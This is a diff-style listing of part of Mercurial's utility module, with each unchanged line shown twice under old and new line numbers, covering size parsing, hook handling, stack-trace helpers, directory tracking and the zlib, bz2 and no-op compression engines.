2993 '''
3019 '''
2994 t = s.strip().lower()
3020 t = s.strip().lower()
2995 try:
3021 try:
2996 for k, u in _sizeunits:
3022 for k, u in _sizeunits:
2997 if t.endswith(k):
3023 if t.endswith(k):
2998 return int(float(t[:-len(k)]) * u)
3024 return int(float(t[:-len(k)]) * u)
2999 return int(t)
3025 return int(t)
3000 except ValueError:
3026 except ValueError:
3001 raise error.ParseError(_("couldn't parse size: %s") % s)
3027 raise error.ParseError(_("couldn't parse size: %s") % s)
3002
3028
3003 class hooks(object):
3029 class hooks(object):
3004 '''A collection of hook functions that can be used to extend a
3030 '''A collection of hook functions that can be used to extend a
3005 function's behavior. Hooks are called in lexicographic order,
3031 function's behavior. Hooks are called in lexicographic order,
3006 based on the names of their sources.'''
3032 based on the names of their sources.'''
3007
3033
3008 def __init__(self):
3034 def __init__(self):
3009 self._hooks = []
3035 self._hooks = []
3010
3036
3011 def add(self, source, hook):
3037 def add(self, source, hook):
3012 self._hooks.append((source, hook))
3038 self._hooks.append((source, hook))
3013
3039
3014 def __call__(self, *args):
3040 def __call__(self, *args):
3015 self._hooks.sort(key=lambda x: x[0])
3041 self._hooks.sort(key=lambda x: x[0])
3016 results = []
3042 results = []
3017 for source, hook in self._hooks:
3043 for source, hook in self._hooks:
3018 results.append(hook(*args))
3044 results.append(hook(*args))
3019 return results
3045 return results
3020
3046
3021 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
3047 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
3022 '''Yields lines for a nicely formatted stacktrace.
3048 '''Yields lines for a nicely formatted stacktrace.
3023 Skips the 'skip' last entries, then return the last 'depth' entries.
3049 Skips the 'skip' last entries, then return the last 'depth' entries.
3024 Each file+linenumber is formatted according to fileline.
3050 Each file+linenumber is formatted according to fileline.
3025 Each line is formatted according to line.
3051 Each line is formatted according to line.
3026 If line is None, it yields:
3052 If line is None, it yields:
3027 length of longest filepath+line number,
3053 length of longest filepath+line number,
3028 filepath+linenumber,
3054 filepath+linenumber,
3029 function
3055 function
3030
3056
3031 Not be used in production code but very convenient while developing.
3057 Not be used in production code but very convenient while developing.
3032 '''
3058 '''
3033 entries = [(fileline % (fn, ln), func)
3059 entries = [(fileline % (fn, ln), func)
3034 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3060 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3035 ][-depth:]
3061 ][-depth:]
3036 if entries:
3062 if entries:
3037 fnmax = max(len(entry[0]) for entry in entries)
3063 fnmax = max(len(entry[0]) for entry in entries)
3038 for fnln, func in entries:
3064 for fnln, func in entries:
3039 if line is None:
3065 if line is None:
3040 yield (fnmax, fnln, func)
3066 yield (fnmax, fnln, func)
3041 else:
3067 else:
3042 yield line % (fnmax, fnln, func)
3068 yield line % (fnmax, fnln, func)
3043
3069
3044 def debugstacktrace(msg='stacktrace', skip=0,
3070 def debugstacktrace(msg='stacktrace', skip=0,
3045 f=stderr, otherf=stdout, depth=0):
3071 f=stderr, otherf=stdout, depth=0):
3046 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3072 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3047 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3073 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3048 By default it will flush stdout first.
3074 By default it will flush stdout first.
3049 It can be used everywhere and intentionally does not require an ui object.
3075 It can be used everywhere and intentionally does not require an ui object.
3050 Not be used in production code but very convenient while developing.
3076 Not be used in production code but very convenient while developing.
3051 '''
3077 '''
3052 if otherf:
3078 if otherf:
3053 otherf.flush()
3079 otherf.flush()
3054 f.write('%s at:\n' % msg.rstrip())
3080 f.write('%s at:\n' % msg.rstrip())
3055 for line in getstackframes(skip + 1, depth=depth):
3081 for line in getstackframes(skip + 1, depth=depth):
3056 f.write(line)
3082 f.write(line)
3057 f.flush()
3083 f.flush()
3058
3084
3059 class dirs(object):
3085 class dirs(object):
3060 '''a multiset of directory names from a dirstate or manifest'''
3086 '''a multiset of directory names from a dirstate or manifest'''
3061
3087
3062 def __init__(self, map, skip=None):
3088 def __init__(self, map, skip=None):
3063 self._dirs = {}
3089 self._dirs = {}
3064 addpath = self.addpath
3090 addpath = self.addpath
3065 if safehasattr(map, 'iteritems') and skip is not None:
3091 if safehasattr(map, 'iteritems') and skip is not None:
3066 for f, s in map.iteritems():
3092 for f, s in map.iteritems():
3067 if s[0] != skip:
3093 if s[0] != skip:
3068 addpath(f)
3094 addpath(f)
3069 else:
3095 else:
3070 for f in map:
3096 for f in map:
3071 addpath(f)
3097 addpath(f)
3072
3098
3073 def addpath(self, path):
3099 def addpath(self, path):
3074 dirs = self._dirs
3100 dirs = self._dirs
3075 for base in finddirs(path):
3101 for base in finddirs(path):
3076 if base in dirs:
3102 if base in dirs:
3077 dirs[base] += 1
3103 dirs[base] += 1
3078 return
3104 return
3079 dirs[base] = 1
3105 dirs[base] = 1
3080
3106
3081 def delpath(self, path):
3107 def delpath(self, path):
3082 dirs = self._dirs
3108 dirs = self._dirs
3083 for base in finddirs(path):
3109 for base in finddirs(path):
3084 if dirs[base] > 1:
3110 if dirs[base] > 1:
3085 dirs[base] -= 1
3111 dirs[base] -= 1
3086 return
3112 return
3087 del dirs[base]
3113 del dirs[base]
3088
3114
3089 def __iter__(self):
3115 def __iter__(self):
3090 return iter(self._dirs)
3116 return iter(self._dirs)
3091
3117
3092 def __contains__(self, d):
3118 def __contains__(self, d):
3093 return d in self._dirs
3119 return d in self._dirs
3094
3120
3095 if safehasattr(parsers, 'dirs'):
3121 if safehasattr(parsers, 'dirs'):
3096 dirs = parsers.dirs
3122 dirs = parsers.dirs
3097
3123
3098 def finddirs(path):
3124 def finddirs(path):
3099 pos = path.rfind('/')
3125 pos = path.rfind('/')
3100 while pos != -1:
3126 while pos != -1:
3101 yield path[:pos]
3127 yield path[:pos]
3102 pos = path.rfind('/', 0, pos)
3128 pos = path.rfind('/', 0, pos)
3103
3129
3104 # compression code
3130 # compression code
3105
3131
3106 SERVERROLE = 'server'
3132 SERVERROLE = 'server'
3107 CLIENTROLE = 'client'
3133 CLIENTROLE = 'client'
3108
3134
3109 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3135 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3110 (u'name', u'serverpriority',
3136 (u'name', u'serverpriority',
3111 u'clientpriority'))
3137 u'clientpriority'))
3112
3138
3113 class compressormanager(object):
3139 class compressormanager(object):
3114 """Holds registrations of various compression engines.
3140 """Holds registrations of various compression engines.
3115
3141
3116 This class essentially abstracts the differences between compression
3142 This class essentially abstracts the differences between compression
3117 engines to allow new compression formats to be added easily, possibly from
3143 engines to allow new compression formats to be added easily, possibly from
3118 extensions.
3144 extensions.
3119
3145
3120 Compressors are registered against the global instance by calling its
3146 Compressors are registered against the global instance by calling its
3121 ``register()`` method.
3147 ``register()`` method.
3122 """
3148 """
3123 def __init__(self):
3149 def __init__(self):
3124 self._engines = {}
3150 self._engines = {}
3125 # Bundle spec human name to engine name.
3151 # Bundle spec human name to engine name.
3126 self._bundlenames = {}
3152 self._bundlenames = {}
3127 # Internal bundle identifier to engine name.
3153 # Internal bundle identifier to engine name.
3128 self._bundletypes = {}
3154 self._bundletypes = {}
3129 # Revlog header to engine name.
3155 # Revlog header to engine name.
3130 self._revlogheaders = {}
3156 self._revlogheaders = {}
3131 # Wire proto identifier to engine name.
3157 # Wire proto identifier to engine name.
3132 self._wiretypes = {}
3158 self._wiretypes = {}
3133
3159
3134 def __getitem__(self, key):
3160 def __getitem__(self, key):
3135 return self._engines[key]
3161 return self._engines[key]
3136
3162
3137 def __contains__(self, key):
3163 def __contains__(self, key):
3138 return key in self._engines
3164 return key in self._engines
3139
3165
3140 def __iter__(self):
3166 def __iter__(self):
3141 return iter(self._engines.keys())
3167 return iter(self._engines.keys())
3142
3168
3143 def register(self, engine):
3169 def register(self, engine):
3144 """Register a compression engine with the manager.
3170 """Register a compression engine with the manager.
3145
3171
3146 The argument must be a ``compressionengine`` instance.
3172 The argument must be a ``compressionengine`` instance.
3147 """
3173 """
3148 if not isinstance(engine, compressionengine):
3174 if not isinstance(engine, compressionengine):
3149 raise ValueError(_('argument must be a compressionengine'))
3175 raise ValueError(_('argument must be a compressionengine'))
3150
3176
3151 name = engine.name()
3177 name = engine.name()
3152
3178
3153 if name in self._engines:
3179 if name in self._engines:
3154 raise error.Abort(_('compression engine %s already registered') %
3180 raise error.Abort(_('compression engine %s already registered') %
3155 name)
3181 name)
3156
3182
3157 bundleinfo = engine.bundletype()
3183 bundleinfo = engine.bundletype()
3158 if bundleinfo:
3184 if bundleinfo:
3159 bundlename, bundletype = bundleinfo
3185 bundlename, bundletype = bundleinfo
3160
3186
3161 if bundlename in self._bundlenames:
3187 if bundlename in self._bundlenames:
3162 raise error.Abort(_('bundle name %s already registered') %
3188 raise error.Abort(_('bundle name %s already registered') %
3163 bundlename)
3189 bundlename)
3164 if bundletype in self._bundletypes:
3190 if bundletype in self._bundletypes:
3165 raise error.Abort(_('bundle type %s already registered by %s') %
3191 raise error.Abort(_('bundle type %s already registered by %s') %
3166 (bundletype, self._bundletypes[bundletype]))
3192 (bundletype, self._bundletypes[bundletype]))
3167
3193
3168 # No external facing name declared.
3194 # No external facing name declared.
3169 if bundlename:
3195 if bundlename:
3170 self._bundlenames[bundlename] = name
3196 self._bundlenames[bundlename] = name
3171
3197
3172 self._bundletypes[bundletype] = name
3198 self._bundletypes[bundletype] = name
3173
3199
3174 wiresupport = engine.wireprotosupport()
3200 wiresupport = engine.wireprotosupport()
3175 if wiresupport:
3201 if wiresupport:
3176 wiretype = wiresupport.name
3202 wiretype = wiresupport.name
3177 if wiretype in self._wiretypes:
3203 if wiretype in self._wiretypes:
3178 raise error.Abort(_('wire protocol compression %s already '
3204 raise error.Abort(_('wire protocol compression %s already '
3179 'registered by %s') %
3205 'registered by %s') %
3180 (wiretype, self._wiretypes[wiretype]))
3206 (wiretype, self._wiretypes[wiretype]))
3181
3207
3182 self._wiretypes[wiretype] = name
3208 self._wiretypes[wiretype] = name
3183
3209
3184 revlogheader = engine.revlogheader()
3210 revlogheader = engine.revlogheader()
3185 if revlogheader and revlogheader in self._revlogheaders:
3211 if revlogheader and revlogheader in self._revlogheaders:
3186 raise error.Abort(_('revlog header %s already registered by %s') %
3212 raise error.Abort(_('revlog header %s already registered by %s') %
3187 (revlogheader, self._revlogheaders[revlogheader]))
3213 (revlogheader, self._revlogheaders[revlogheader]))
3188
3214
3189 if revlogheader:
3215 if revlogheader:
3190 self._revlogheaders[revlogheader] = name
3216 self._revlogheaders[revlogheader] = name
3191
3217
3192 self._engines[name] = engine
3218 self._engines[name] = engine
3193
3219
3194 @property
3220 @property
3195 def supportedbundlenames(self):
3221 def supportedbundlenames(self):
3196 return set(self._bundlenames.keys())
3222 return set(self._bundlenames.keys())
3197
3223
3198 @property
3224 @property
3199 def supportedbundletypes(self):
3225 def supportedbundletypes(self):
3200 return set(self._bundletypes.keys())
3226 return set(self._bundletypes.keys())
3201
3227
3202 def forbundlename(self, bundlename):
3228 def forbundlename(self, bundlename):
3203 """Obtain a compression engine registered to a bundle name.
3229 """Obtain a compression engine registered to a bundle name.
3204
3230
3205 Will raise KeyError if the bundle type isn't registered.
3231 Will raise KeyError if the bundle type isn't registered.
3206
3232
3207 Will abort if the engine is known but not available.
3233 Will abort if the engine is known but not available.
3208 """
3234 """
3209 engine = self._engines[self._bundlenames[bundlename]]
3235 engine = self._engines[self._bundlenames[bundlename]]
3210 if not engine.available():
3236 if not engine.available():
3211 raise error.Abort(_('compression engine %s could not be loaded') %
3237 raise error.Abort(_('compression engine %s could not be loaded') %
3212 engine.name())
3238 engine.name())
3213 return engine
3239 return engine
3214
3240
3215 def forbundletype(self, bundletype):
3241 def forbundletype(self, bundletype):
3216 """Obtain a compression engine registered to a bundle type.
3242 """Obtain a compression engine registered to a bundle type.
3217
3243
3218 Will raise KeyError if the bundle type isn't registered.
3244 Will raise KeyError if the bundle type isn't registered.
3219
3245
3220 Will abort if the engine is known but not available.
3246 Will abort if the engine is known but not available.
3221 """
3247 """
3222 engine = self._engines[self._bundletypes[bundletype]]
3248 engine = self._engines[self._bundletypes[bundletype]]
3223 if not engine.available():
3249 if not engine.available():
3224 raise error.Abort(_('compression engine %s could not be loaded') %
3250 raise error.Abort(_('compression engine %s could not be loaded') %
3225 engine.name())
3251 engine.name())
3226 return engine
3252 return engine
3227
3253
3228 def supportedwireengines(self, role, onlyavailable=True):
3254 def supportedwireengines(self, role, onlyavailable=True):
3229 """Obtain compression engines that support the wire protocol.
3255 """Obtain compression engines that support the wire protocol.
3230
3256
3231 Returns a list of engines in prioritized order, most desired first.
3257 Returns a list of engines in prioritized order, most desired first.
3232
3258
3233 If ``onlyavailable`` is set, filter out engines that can't be
3259 If ``onlyavailable`` is set, filter out engines that can't be
3234 loaded.
3260 loaded.
3235 """
3261 """
3236 assert role in (SERVERROLE, CLIENTROLE)
3262 assert role in (SERVERROLE, CLIENTROLE)
3237
3263
3238 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3264 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3239
3265
3240 engines = [self._engines[e] for e in self._wiretypes.values()]
3266 engines = [self._engines[e] for e in self._wiretypes.values()]
3241 if onlyavailable:
3267 if onlyavailable:
3242 engines = [e for e in engines if e.available()]
3268 engines = [e for e in engines if e.available()]
3243
3269
3244 def getkey(e):
3270 def getkey(e):
3245 # Sort first by priority, highest first. In case of tie, sort
3271 # Sort first by priority, highest first. In case of tie, sort
3246 # alphabetically. This is arbitrary, but ensures output is
3272 # alphabetically. This is arbitrary, but ensures output is
3247 # stable.
3273 # stable.
3248 w = e.wireprotosupport()
3274 w = e.wireprotosupport()
3249 return -1 * getattr(w, attr), w.name
3275 return -1 * getattr(w, attr), w.name
3250
3276
3251 return list(sorted(engines, key=getkey))
3277 return list(sorted(engines, key=getkey))
3252
3278
3253 def forwiretype(self, wiretype):
3279 def forwiretype(self, wiretype):
3254 engine = self._engines[self._wiretypes[wiretype]]
3280 engine = self._engines[self._wiretypes[wiretype]]
3255 if not engine.available():
3281 if not engine.available():
3256 raise error.Abort(_('compression engine %s could not be loaded') %
3282 raise error.Abort(_('compression engine %s could not be loaded') %
3257 engine.name())
3283 engine.name())
3258 return engine
3284 return engine
3259
3285
3260 def forrevlogheader(self, header):
3286 def forrevlogheader(self, header):
3261 """Obtain a compression engine registered to a revlog header.
3287 """Obtain a compression engine registered to a revlog header.
3262
3288
3263 Will raise KeyError if the revlog header value isn't registered.
3289 Will raise KeyError if the revlog header value isn't registered.
3264 """
3290 """
3265 return self._engines[self._revlogheaders[header]]
3291 return self._engines[self._revlogheaders[header]]
3266
3292
3267 compengines = compressormanager()
3293 compengines = compressormanager()
3268
3294
3269 class compressionengine(object):
3295 class compressionengine(object):
3270 """Base class for compression engines.
3296 """Base class for compression engines.
3271
3297
3272 Compression engines must implement the interface defined by this class.
3298 Compression engines must implement the interface defined by this class.
3273 """
3299 """
3274 def name(self):
3300 def name(self):
3275 """Returns the name of the compression engine.
3301 """Returns the name of the compression engine.
3276
3302
3277 This is the key the engine is registered under.
3303 This is the key the engine is registered under.
3278
3304
3279 This method must be implemented.
3305 This method must be implemented.
3280 """
3306 """
3281 raise NotImplementedError()
3307 raise NotImplementedError()
3282
3308
3283 def available(self):
3309 def available(self):
3284 """Whether the compression engine is available.
3310 """Whether the compression engine is available.
3285
3311
3286 The intent of this method is to allow optional compression engines
3312 The intent of this method is to allow optional compression engines
3287 that may not be available in all installations (such as engines relying
3313 that may not be available in all installations (such as engines relying
3288 on C extensions that may not be present).
3314 on C extensions that may not be present).
3289 """
3315 """
3290 return True
3316 return True
3291
3317
3292 def bundletype(self):
3318 def bundletype(self):
3293 """Describes bundle identifiers for this engine.
3319 """Describes bundle identifiers for this engine.
3294
3320
3295 If this compression engine isn't supported for bundles, returns None.
3321 If this compression engine isn't supported for bundles, returns None.
3296
3322
3297 If this engine can be used for bundles, returns a 2-tuple of strings of
3323 If this engine can be used for bundles, returns a 2-tuple of strings of
3298 the user-facing "bundle spec" compression name and an internal
3324 the user-facing "bundle spec" compression name and an internal
3299 identifier used to denote the compression format within bundles. To
3325 identifier used to denote the compression format within bundles. To
3300 exclude the name from external usage, set the first element to ``None``.
3326 exclude the name from external usage, set the first element to ``None``.
3301
3327
3302 If bundle compression is supported, the class must also implement
3328 If bundle compression is supported, the class must also implement
3303 ``compressstream`` and `decompressorreader``.
3329 ``compressstream`` and `decompressorreader``.
3304
3330
3305 The docstring of this method is used in the help system to tell users
3331 The docstring of this method is used in the help system to tell users
3306 about this engine.
3332 about this engine.
3307 """
3333 """
3308 return None
3334 return None
3309
3335
3310 def wireprotosupport(self):
3336 def wireprotosupport(self):
3311 """Declare support for this compression format on the wire protocol.
3337 """Declare support for this compression format on the wire protocol.
3312
3338
3313 If this compression engine isn't supported for compressing wire
3339 If this compression engine isn't supported for compressing wire
3314 protocol payloads, returns None.
3340 protocol payloads, returns None.
3315
3341
3316 Otherwise, returns ``compenginewireprotosupport`` with the following
3342 Otherwise, returns ``compenginewireprotosupport`` with the following
3317 fields:
3343 fields:
3318
3344
3319 * String format identifier
3345 * String format identifier
3320 * Integer priority for the server
3346 * Integer priority for the server
3321 * Integer priority for the client
3347 * Integer priority for the client
3322
3348
3323 The integer priorities are used to order the advertisement of format
3349 The integer priorities are used to order the advertisement of format
3324 support by server and client. The highest integer is advertised
3350 support by server and client. The highest integer is advertised
3325 first. Integers with non-positive values aren't advertised.
3351 first. Integers with non-positive values aren't advertised.
3326
3352
3327 The priority values are somewhat arbitrary and only used for default
3353 The priority values are somewhat arbitrary and only used for default
3328 ordering. The relative order can be changed via config options.
3354 ordering. The relative order can be changed via config options.
3329
3355
3330 If wire protocol compression is supported, the class must also implement
3356 If wire protocol compression is supported, the class must also implement
3331 ``compressstream`` and ``decompressorreader``.
3357 ``compressstream`` and ``decompressorreader``.
3332 """
3358 """
3333 return None
3359 return None
3334
3360
3335 def revlogheader(self):
3361 def revlogheader(self):
3336 """Header added to revlog chunks that identifies this engine.
3362 """Header added to revlog chunks that identifies this engine.
3337
3363
3338 If this engine can be used to compress revlogs, this method should
3364 If this engine can be used to compress revlogs, this method should
3339 return the bytes used to identify chunks compressed with this engine.
3365 return the bytes used to identify chunks compressed with this engine.
3340 Else, the method should return ``None`` to indicate it does not
3366 Else, the method should return ``None`` to indicate it does not
3341 participate in revlog compression.
3367 participate in revlog compression.
3342 """
3368 """
3343 return None
3369 return None
3344
3370
3345 def compressstream(self, it, opts=None):
3371 def compressstream(self, it, opts=None):
3346 """Compress an iterator of chunks.
3372 """Compress an iterator of chunks.
3347
3373
3348 The method receives an iterator (ideally a generator) of chunks of
3374 The method receives an iterator (ideally a generator) of chunks of
3349 bytes to be compressed. It returns an iterator (ideally a generator)
3375 bytes to be compressed. It returns an iterator (ideally a generator)
3350 of bytes of chunks representing the compressed output.
3376 of bytes of chunks representing the compressed output.
3351
3377
3352 Optionally accepts an argument defining how to perform compression.
3378 Optionally accepts an argument defining how to perform compression.
3353 Each engine treats this argument differently.
3379 Each engine treats this argument differently.
3354 """
3380 """
3355 raise NotImplementedError()
3381 raise NotImplementedError()
3356
3382
3357 def decompressorreader(self, fh):
3383 def decompressorreader(self, fh):
3358 """Perform decompression on a file object.
3384 """Perform decompression on a file object.
3359
3385
3360 Argument is an object with a ``read(size)`` method that returns
3386 Argument is an object with a ``read(size)`` method that returns
3361 compressed data. Return value is an object with a ``read(size)`` that
3387 compressed data. Return value is an object with a ``read(size)`` that
3362 returns uncompressed data.
3388 returns uncompressed data.
3363 """
3389 """
3364 raise NotImplementedError()
3390 raise NotImplementedError()
3365
3391
3366 def revlogcompressor(self, opts=None):
3392 def revlogcompressor(self, opts=None):
3367 """Obtain an object that can be used to compress revlog entries.
3393 """Obtain an object that can be used to compress revlog entries.
3368
3394
3369 The object has a ``compress(data)`` method that compresses binary
3395 The object has a ``compress(data)`` method that compresses binary
3370 data. This method returns compressed binary data or ``None`` if
3396 data. This method returns compressed binary data or ``None`` if
3371 the data could not be compressed (too small, not compressible, etc).
3397 the data could not be compressed (too small, not compressible, etc).
3372 The returned data should have a header uniquely identifying this
3398 The returned data should have a header uniquely identifying this
3373 compression format so decompression can be routed to this engine.
3399 compression format so decompression can be routed to this engine.
3374 This header should be identified by the ``revlogheader()`` return
3400 This header should be identified by the ``revlogheader()`` return
3375 value.
3401 value.
3376
3402
3377 The object has a ``decompress(data)`` method that decompresses
3403 The object has a ``decompress(data)`` method that decompresses
3378 data. The method will only be called if ``data`` begins with
3404 data. The method will only be called if ``data`` begins with
3379 ``revlogheader()``. The method should return the raw, uncompressed
3405 ``revlogheader()``. The method should return the raw, uncompressed
3380 data or raise a ``RevlogError``.
3406 data or raise a ``RevlogError``.
3381
3407
3382 The object is reusable but is not thread safe.
3408 The object is reusable but is not thread safe.
3383 """
3409 """
3384 raise NotImplementedError()
3410 raise NotImplementedError()
3385
3411
3386 class _zlibengine(compressionengine):
3412 class _zlibengine(compressionengine):
3387 def name(self):
3413 def name(self):
3388 return 'zlib'
3414 return 'zlib'
3389
3415
3390 def bundletype(self):
3416 def bundletype(self):
3391 """zlib compression using the DEFLATE algorithm.
3417 """zlib compression using the DEFLATE algorithm.
3392
3418
3393 All Mercurial clients should support this format. The compression
3419 All Mercurial clients should support this format. The compression
3394 algorithm strikes a reasonable balance between compression ratio
3420 algorithm strikes a reasonable balance between compression ratio
3395 and size.
3421 and size.
3396 """
3422 """
3397 return 'gzip', 'GZ'
3423 return 'gzip', 'GZ'
3398
3424
3399 def wireprotosupport(self):
3425 def wireprotosupport(self):
3400 return compewireprotosupport('zlib', 20, 20)
3426 return compewireprotosupport('zlib', 20, 20)
3401
3427
3402 def revlogheader(self):
3428 def revlogheader(self):
3403 return 'x'
3429 return 'x'
3404
3430
3405 def compressstream(self, it, opts=None):
3431 def compressstream(self, it, opts=None):
3406 opts = opts or {}
3432 opts = opts or {}
3407
3433
3408 z = zlib.compressobj(opts.get('level', -1))
3434 z = zlib.compressobj(opts.get('level', -1))
3409 for chunk in it:
3435 for chunk in it:
3410 data = z.compress(chunk)
3436 data = z.compress(chunk)
3411 # Not all calls to compress emit data. It is cheaper to inspect
3437 # Not all calls to compress emit data. It is cheaper to inspect
3412 # here than to feed empty chunks through generator.
3438 # here than to feed empty chunks through generator.
3413 if data:
3439 if data:
3414 yield data
3440 yield data
3415
3441
3416 yield z.flush()
3442 yield z.flush()
3417
3443
3418 def decompressorreader(self, fh):
3444 def decompressorreader(self, fh):
3419 def gen():
3445 def gen():
3420 d = zlib.decompressobj()
3446 d = zlib.decompressobj()
3421 for chunk in filechunkiter(fh):
3447 for chunk in filechunkiter(fh):
3422 while chunk:
3448 while chunk:
3423 # Limit output size to limit memory.
3449 # Limit output size to limit memory.
3424 yield d.decompress(chunk, 2 ** 18)
3450 yield d.decompress(chunk, 2 ** 18)
3425 chunk = d.unconsumed_tail
3451 chunk = d.unconsumed_tail
3426
3452
3427 return chunkbuffer(gen())
3453 return chunkbuffer(gen())
3428
3454
3429 class zlibrevlogcompressor(object):
3455 class zlibrevlogcompressor(object):
3430 def compress(self, data):
3456 def compress(self, data):
3431 insize = len(data)
3457 insize = len(data)
3432 # Caller handles empty input case.
3458 # Caller handles empty input case.
3433 assert insize > 0
3459 assert insize > 0
3434
3460
3435 if insize < 44:
3461 if insize < 44:
3436 return None
3462 return None
3437
3463
3438 elif insize <= 1000000:
3464 elif insize <= 1000000:
3439 compressed = zlib.compress(data)
3465 compressed = zlib.compress(data)
3440 if len(compressed) < insize:
3466 if len(compressed) < insize:
3441 return compressed
3467 return compressed
3442 return None
3468 return None
3443
3469
3444 # zlib makes an internal copy of the input buffer, doubling
3470 # zlib makes an internal copy of the input buffer, doubling
3445 # memory usage for large inputs. So do streaming compression
3471 # memory usage for large inputs. So do streaming compression
3446 # on large inputs.
3472 # on large inputs.
3447 else:
3473 else:
3448 z = zlib.compressobj()
3474 z = zlib.compressobj()
3449 parts = []
3475 parts = []
3450 pos = 0
3476 pos = 0
3451 while pos < insize:
3477 while pos < insize:
3452 pos2 = pos + 2**20
3478 pos2 = pos + 2**20
3453 parts.append(z.compress(data[pos:pos2]))
3479 parts.append(z.compress(data[pos:pos2]))
3454 pos = pos2
3480 pos = pos2
3455 parts.append(z.flush())
3481 parts.append(z.flush())
3456
3482
3457 if sum(map(len, parts)) < insize:
3483 if sum(map(len, parts)) < insize:
3458 return ''.join(parts)
3484 return ''.join(parts)
3459 return None
3485 return None
3460
3486
3461 def decompress(self, data):
3487 def decompress(self, data):
3462 try:
3488 try:
3463 return zlib.decompress(data)
3489 return zlib.decompress(data)
3464 except zlib.error as e:
3490 except zlib.error as e:
3465 raise error.RevlogError(_('revlog decompress error: %s') %
3491 raise error.RevlogError(_('revlog decompress error: %s') %
3466 str(e))
3492 str(e))
3467
3493
3468 def revlogcompressor(self, opts=None):
3494 def revlogcompressor(self, opts=None):
3469 return self.zlibrevlogcompressor()
3495 return self.zlibrevlogcompressor()
3470
3496
3471 compengines.register(_zlibengine())
3497 compengines.register(_zlibengine())
3472
3498
3473 class _bz2engine(compressionengine):
3499 class _bz2engine(compressionengine):
3474 def name(self):
3500 def name(self):
3475 return 'bz2'
3501 return 'bz2'
3476
3502
3477 def bundletype(self):
3503 def bundletype(self):
3478 """An algorithm that produces smaller bundles than ``gzip``.
3504 """An algorithm that produces smaller bundles than ``gzip``.
3479
3505
3480 All Mercurial clients should support this format.
3506 All Mercurial clients should support this format.
3481
3507
3482 This engine will likely produce smaller bundles than ``gzip`` but
3508 This engine will likely produce smaller bundles than ``gzip`` but
3483 will be significantly slower, both during compression and
3509 will be significantly slower, both during compression and
3484 decompression.
3510 decompression.
3485
3511
3486 If available, the ``zstd`` engine can yield similar or better
3512 If available, the ``zstd`` engine can yield similar or better
3487 compression at much higher speeds.
3513 compression at much higher speeds.
3488 """
3514 """
3489 return 'bzip2', 'BZ'
3515 return 'bzip2', 'BZ'
3490
3516
3491 # We declare a protocol name but don't advertise by default because
3517 # We declare a protocol name but don't advertise by default because
3492 # it is slow.
3518 # it is slow.
3493 def wireprotosupport(self):
3519 def wireprotosupport(self):
3494 return compewireprotosupport('bzip2', 0, 0)
3520 return compewireprotosupport('bzip2', 0, 0)
3495
3521
3496 def compressstream(self, it, opts=None):
3522 def compressstream(self, it, opts=None):
3497 opts = opts or {}
3523 opts = opts or {}
3498 z = bz2.BZ2Compressor(opts.get('level', 9))
3524 z = bz2.BZ2Compressor(opts.get('level', 9))
3499 for chunk in it:
3525 for chunk in it:
3500 data = z.compress(chunk)
3526 data = z.compress(chunk)
3501 if data:
3527 if data:
3502 yield data
3528 yield data
3503
3529
3504 yield z.flush()
3530 yield z.flush()
3505
3531
3506 def decompressorreader(self, fh):
3532 def decompressorreader(self, fh):
3507 def gen():
3533 def gen():
3508 d = bz2.BZ2Decompressor()
3534 d = bz2.BZ2Decompressor()
3509 for chunk in filechunkiter(fh):
3535 for chunk in filechunkiter(fh):
3510 yield d.decompress(chunk)
3536 yield d.decompress(chunk)
3511
3537
3512 return chunkbuffer(gen())
3538 return chunkbuffer(gen())
3513
3539
3514 compengines.register(_bz2engine())
3540 compengines.register(_bz2engine())
3515
3541
3516 class _truncatedbz2engine(compressionengine):
3542 class _truncatedbz2engine(compressionengine):
3517 def name(self):
3543 def name(self):
3518 return 'bz2truncated'
3544 return 'bz2truncated'
3519
3545
3520 def bundletype(self):
3546 def bundletype(self):
3521 return None, '_truncatedBZ'
3547 return None, '_truncatedBZ'
3522
3548
3523 # We don't implement compressstream because it is hackily handled elsewhere.
3549 # We don't implement compressstream because it is hackily handled elsewhere.
3524
3550
3525 def decompressorreader(self, fh):
3551 def decompressorreader(self, fh):
3526 def gen():
3552 def gen():
3527 # The input stream doesn't have the 'BZ' header. So add it back.
3553 # The input stream doesn't have the 'BZ' header. So add it back.
3528 d = bz2.BZ2Decompressor()
3554 d = bz2.BZ2Decompressor()
3529 d.decompress('BZ')
3555 d.decompress('BZ')
3530 for chunk in filechunkiter(fh):
3556 for chunk in filechunkiter(fh):
3531 yield d.decompress(chunk)
3557 yield d.decompress(chunk)
3532
3558
3533 return chunkbuffer(gen())
3559 return chunkbuffer(gen())
3534
3560
3535 compengines.register(_truncatedbz2engine())
3561 compengines.register(_truncatedbz2engine())
3536
3562
3537 class _noopengine(compressionengine):
3563 class _noopengine(compressionengine):
3538 def name(self):
3564 def name(self):
3539 return 'none'
3565 return 'none'
3540
3566
3541 def bundletype(self):
3567 def bundletype(self):
3542 """No compression is performed.
3568 """No compression is performed.
3543
3569
3544 Use this compression engine to explicitly disable compression.
3570 Use this compression engine to explicitly disable compression.
3545 """
3571 """
3546 return 'none', 'UN'
3572 return 'none', 'UN'
3547
3573
3548 # Clients always support uncompressed payloads. Servers don't because
3574 # Clients always support uncompressed payloads. Servers don't because
3549 # unless you are on a fast network, uncompressed payloads can easily
3575 # unless you are on a fast network, uncompressed payloads can easily
3550 # saturate your network pipe.
3576 # saturate your network pipe.
3551 def wireprotosupport(self):
3577 def wireprotosupport(self):
3552 return compewireprotosupport('none', 0, 10)
3578 return compewireprotosupport('none', 0, 10)
3553
3579
3554 # We don't implement revlogheader because it is handled specially
3580 # We don't implement revlogheader because it is handled specially
3555 # in the revlog class.
3581 # in the revlog class.
3556
3582
3557 def compressstream(self, it, opts=None):
3583 def compressstream(self, it, opts=None):
3558 return it
3584 return it
3559
3585
3560 def decompressorreader(self, fh):
3586 def decompressorreader(self, fh):
3561 return fh
3587 return fh
3562
3588
